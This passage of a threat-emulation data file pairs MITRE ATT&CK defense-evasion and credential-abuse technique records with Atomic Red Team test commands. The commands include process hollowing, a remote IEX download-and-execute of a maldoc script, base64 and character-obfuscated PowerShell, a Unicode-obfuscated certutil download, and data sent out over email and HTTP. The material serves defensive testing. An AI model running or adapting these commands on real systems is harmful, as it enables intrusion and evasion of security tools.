attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92 created: '2020-03-19T21:27:32.820Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1027.005 url: https://attack.mitre.org/techniques/T1027/005 x_mitre_deprecated: false revoked: false description: |- Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware. modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Indicator Removal from Tools x_mitre_detection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Application Log: Application Log Content' x_mitre_defense_bypassed: - Anti-virus - Host intrusion prevention systems - Log analysis - Signature-based detection x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1078: technique: modified: '2023-05-09T14:00:00.188Z' name: Valid Accounts description: |- Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare) The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_attack_spec_version: 3.1.0 x_mitre_contributors: - Syed Ummar Farooqh, McAfee - Prasad Somasamudram, McAfee - Sekhar Sarukkai, McAfee - Jon Sternstein, Stern Security - Yossi Weizman, Azure Defender Research Team - Netskope - Mark Wee - Praetorian - Goldstein Menachem x_mitre_deprecated: false x_mitre_detection: |- Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace - Containers - Network x_mitre_version: '2.6' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'User Account: User Account Authentication' - 'Logon Session: Logon Session Metadata' x_mitre_defense_bypassed: - Firewall - Anti-virus - Host Intrusion Prevention Systems - Network Intrusion Detection System - Application Control - System Access Controls x_mitre_effective_permissions: - User - Administrator x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81 created: '2017-05-31T21:31:00.645Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078 external_id: T1078 - source_name: volexity_0day_sophos_FW description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.' url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/ - source_name: CISA MFA PrintNightmare description: Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022. url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a - source_name: TechNet Credential Theft description: Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn535501.aspx - source_name: TechNet Audit Policy description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn487457.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' atomic_tests: [] T1055.012: technique: modified: '2023-08-11T21:37:00.009Z' name: 'Process Injection: Process Hollowing' description: "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection \ before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: |- Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) Processing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process’ thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: Process Creation' - 'Process: Process Modification' - 'Process: OS API Execution' - 'Process: Process Access' x_mitre_defense_bypassed: - Application control - Anti-virus x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4 created: '2020-01-14T17:21:54.470Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1055/012 external_id: T1055.012 - source_name: Nviso Spoof Command Line 2020 description: 'Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.' url: https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/ - source_name: Elastic Process Injection July 2017 description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Leitch Hollowing description: Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014. url: http://www.autosectools.com/process-hollowing.pdf - source_name: Mandiant Endpoint Evading 2019 description: 'Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.' url: https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1055.012 atomic_tests: - name: Process Hollowing using PowerShell auto_generated_guid: 562427b4-39ef-4e8c-af88-463a78e70b9c description: | This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent. Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1) supported_platforms: - windows input_arguments: hollow_binary_path: description: Path of the binary to hollow (executable that will run inside the sponsor) type: string default: C:\Windows\System32\cmd.exe parent_process_name: description: Name of the parent process type: string default: explorer sponsor_binary_path: description: Path of the sponsor binary (executable that will host the binary) type: string default: C:\Windows\System32\notepad.exe spawnto_process_name: description: Name of the process to spawn type: string default: notepad executor: command: | . "$PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1" $ppid=Get-Process #{parent_process_name} | select -expand id Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose cleanup_command: 'Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore ' name: powershell - name: RunPE via VBA auto_generated_guid: 3ad4a037-1598-4136-837c-4027e4fa319b description: 'This module executes notepad.exe from within the WINWORD.EXE process ' supported_platforms: - windows input_arguments: ms_product: description: Maldoc application Word type: string default: Word dependency_executor_name: powershell dependencies: - description: 'Microsoft #{ms_product} must be installed ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"} Stop-Process -Name $process exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" ' executor: command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1055.012\\src\\T1055.012-macrocode.txt\" -officeProduct \"#{ms_product}\" -sub \"Exploit\"\n" name: powershell - name: Process Hollowing in Go using CreateProcessW WinAPI auto_generated_guid: c8f98fe1-c89b-4c49-a7e3-d60ee4bc2f5a description: | Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process. - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess) supported_platforms: - windows input_arguments: hollow_binary_path: description: Path of the binary to hollow type: string default: C:\Windows\System32\werfault.exe hollow_process_name: description: Name of the process to hollow type: string default: werfault executor: name: powershell elevation_required: false command: '$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcess.exe -program "#{hollow_binary_path}" -debug ' cleanup_command: | Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue - name: Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012) auto_generated_guid: 94903cc5-d462-498a-b919-b1e5ab155fee description: | Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process. This test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe allows for the retrieval of output generated from executed shellcode. - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe) supported_platforms: - windows input_arguments: hollow_binary_path: description: Path of the binary to hollow type: string default: C:\Windows\System32\werfault.exe hollow_process_name: description: Name of the process to hollow type: string default: werfault executor: name: powershell elevation_required: false command: '$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcessWithPipe.exe -program "#{hollow_binary_path}" -debug ' cleanup_command: |- Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue T1564.009: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Jaron Bradley @jbradley89 - Ivan Sinyakov object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb created: '2021-10-12T20:02:31.866Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1564.009 url: https://attack.mitre.org/techniques/T1564/009 - source_name: tau bundlore erika noerenberg 2020 url: https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html description: 'Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.' - source_name: Resource and Data Forks url: https://flylib.com/books/en/4.395.1.192/1/ description: Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021. - source_name: ELC Extended Attributes url: https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/ description: 'Howard Oakley. (2020, October 24). There''s more to files than data: Extended Attributes. Retrieved October 12, 2021.' - source_name: sentinellabs resource named fork 2020 url: https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/ description: Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021. - source_name: macOS Hierarchical File System Overview url: http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553 description: Tenon. (n.d.). Retrieved October 12, 2021. x_mitre_deprecated: false revoked: false description: |- Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes) Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020) modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Resource Forking x_mitre_detection: "Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \n\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_is_subtechnique: true x_mitre_data_sources: - 'File: File Metadata' - 'Process: Process Creation' - 'Command: Command Execution' - 'File: File Creation' x_mitre_defense_bypassed: - Notarization - Gatekeeper x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1027: technique: modified: '2024-04-16T12:27:18.945Z' name: Obfuscated Files or Information description: "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Red Canary - Christiaan Beek, @ChristiaanBeek x_mitre_deprecated: false x_mitre_detection: "Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). \n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) \n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. \n\nThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.6' x_mitre_data_sources: - 'WMI: WMI Creation' - 'Script: Script Execution' - 'File: File Creation' - 'Module: Module Load' - 'Command: Command Execution' - 'File: File Metadata' - 'Process: OS API Execution' - 'Windows Registry: Windows Registry Key Creation' - 'Process: Process Creation' x_mitre_defense_bypassed: - Host Forensic Analysis - Signature-based Detection - Host Intrusion Prevention Systems - Application Control - Log Analysis type: attack-pattern id: attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a created: '2017-05-31T21:30:32.662Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1027 external_id: T1027 - source_name: Volexity PowerDuke November 2016 description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.' url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ - source_name: GitHub Revoke-Obfuscation description: Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018. url: https://github.com/danielbohannon/Revoke-Obfuscation - source_name: FireEye Obfuscation June 2017 description: 'Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.' url: https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html - source_name: FireEye Revoke-Obfuscation July 2017 description: 'Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.' url: https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf - source_name: GitHub Office-Crackros Aug 2016 description: Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018. url: https://github.com/itsreallynick/office-crackros - source_name: Linux/Cdorked.A We Live Security Analysis description: 'Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.' url: https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/ - source_name: Carbon Black Obfuscation Sept 2016 description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018. url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ - source_name: PaloAlto EncodedCommand March 2017 description: White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018. url: https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1027 atomic_tests: - name: Decode base64 Data into Script auto_generated_guid: f45df6be-2e1e-4136-a384-8f18ab3826fb description: "Creates a base64-encoded data file and decodes it into an executable shell script\n\nUpon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes `Hello from the Atomic Red Team` \nand uname -v\n" supported_platforms: - macos - linux input_arguments: shell_command: description: command to encode type: string default: echo Hello from the Atomic Red Team && uname -v dependency_executor_name: sh dependencies: - description: 'encode the command into base64 file ' prereq_command: 'if [ -e "/tmp/encoded.dat" ]; then exit 0; else exit 1; fi ' get_prereq_command: | if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64encode -r -"; else cmd="base64"; fi; echo "#{shell_command}" | $cmd > /tmp/encoded.dat executor: command: | if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64decode -r"; else cmd="base64 -d"; fi; cat /tmp/encoded.dat | $cmd > /tmp/art.sh chmod +x /tmp/art.sh /tmp/art.sh cleanup_command: "rm /tmp/encoded.dat \nrm /tmp/art.sh\n" name: sh - name: Execute base64-encoded PowerShell auto_generated_guid: a50d5a97-2531-499e-a1de-5544c74432c6 description: | Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools. Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!" supported_platforms: - windows input_arguments: powershell_command: description: PowerShell command to encode type: string default: Write-Host "Hey, Atomic!" executor: command: | $OriginalCommand = '#{powershell_command}' $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand) $EncodedCommand =[Convert]::ToBase64String($Bytes) $EncodedCommand powershell.exe -EncodedCommand $EncodedCommand name: powershell - name: Execute base64-encoded PowerShell from Windows Registry auto_generated_guid: 450e7218-7915-4be4-8b9b-464a49eafcec description: | Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools. Upon successful execution, powershell will execute encoded command and read/write from the registry. supported_platforms: - windows input_arguments: registry_key_storage: description: Windows Registry Key to store code type: string default: HKCU:Software\Microsoft\Windows\CurrentVersion powershell_command: description: PowerShell command to encode type: string default: Write-Host "Hey, Atomic!" registry_entry_storage: description: Windows Registry entry to store code under key type: string default: Debug executor: command: | $OriginalCommand = '#{powershell_command}' $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand) $EncodedCommand =[Convert]::ToBase64String($Bytes) $EncodedCommand Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))" cleanup_command: 'Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage} ' name: powershell - name: Execution from Compressed File auto_generated_guid: f8c8a909-5f29-49ac-9244-413936ce6d1f description: 'Mimic execution of compressed executable. When successfully executed, calculator.exe will open. ' supported_platforms: - windows input_arguments: url_path: description: url to download Exe type: url default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip dependency_executor_name: powershell dependencies: - description: 'T1027.exe must exist on disk at PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1027.zip" Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\T1027.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\" -Force executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe" ' cleanup_command: | taskkill /f /im calculator.exe >nul 2>nul taskkill /f /im CalculatorApp.exe >nul 2>nul name: command_prompt - name: DLP Evasion via Sensitive Data in VBA Macro over email auto_generated_guid: 129edb75-d7b8-42cd-a8ba-1f3db64ec4ad description: | Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check. supported_platforms: - windows input_arguments: input_file: description: Path of the XLSM file type: path default: PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm sender: description: sender email type: string default: test@corp.com receiver: description: receiver email type: string default: test@corp.com smtp_server: description: SMTP Server IP Address type: string default: 127.0.0.1 executor: command: 'Send-MailMessage -From #{sender} -To #{receiver} -Subject ''T1027_Atomic_Test'' -Attachments "#{input_file}" -SmtpServer #{smtp_server} ' name: powershell - name: DLP Evasion via Sensitive Data in VBA Macro over HTTP auto_generated_guid: e2d85e66-cb66-4ed7-93b1-833fc56c9319 description: | Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check. supported_platforms: - windows input_arguments: input_file: description: Path of the XLSM file type: path default: PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm ip_address: description: Destination IP address type: string default: 127.0.0.1 executor: command: 'Invoke-WebRequest -Uri #{ip_address} -Method POST -Body "#{input_file}" ' name: powershell - name: Obfuscated Command in PowerShell auto_generated_guid: 8b3f4ed6-077b-4bdd-891c-2d237f19410f description: 'This is an obfuscated PowerShell command which when executed prints "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary. ' supported_platforms: - windows executor: command: '$cmDwhy =[TyPe]("{0}{1}" -f ''S'',''TrING'') ; $pz2Sb0 =[TYpE]("{1}{0}{2}"-f''nv'',''cO'',''ert'') ; &("{0}{2}{3}{1}{4}" -f''In'',''SiO'',''vOKe-EXp'',''ReS'',''n'') ( (&("{1}{2}{0}"-f''blE'',''gET-'',''vaRIA'') (''CMdw''+''h''+''y''))."v`ALUe"::("{1}{0}" -f''iN'',''jO'').Invoke('''',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .(''%'') { ( [CHAR] ( $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) ) ' name: powershell - name: Obfuscated Command Line using special Unicode characters auto_generated_guid: e68b945c-52d0-4dd9-a5e8-d173d70c448f description: | This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters). Reference: https://wietze.github.io/blog/windows-command-line-obfuscation supported_platforms: - windows input_arguments: remote_file: description: URL of file to download type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt local_path: description: Local path/filename to save the downloaded file to type: path default: Atomic-license.txt executor: steps: | 1. Copy the following command into the command prompt after replacing #{remote_file} and #{local_path} with your desired URL and filename. certutil —ૹu૰rlࢰca࣢c෯he –‮spli؅t‮‭ −"൏ᶠ൸" #{remote_file} #{local_path} 2. Press enter to execute the command. You will find the file or webpage you specified saved to the file you specified in the command. name: manual - name: Snake Malware Encrypted crmlog file auto_generated_guid: 7e47ee60-9dd1-4269-9c4f-97953b183268 description: "The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver.\n[Snake Malware - 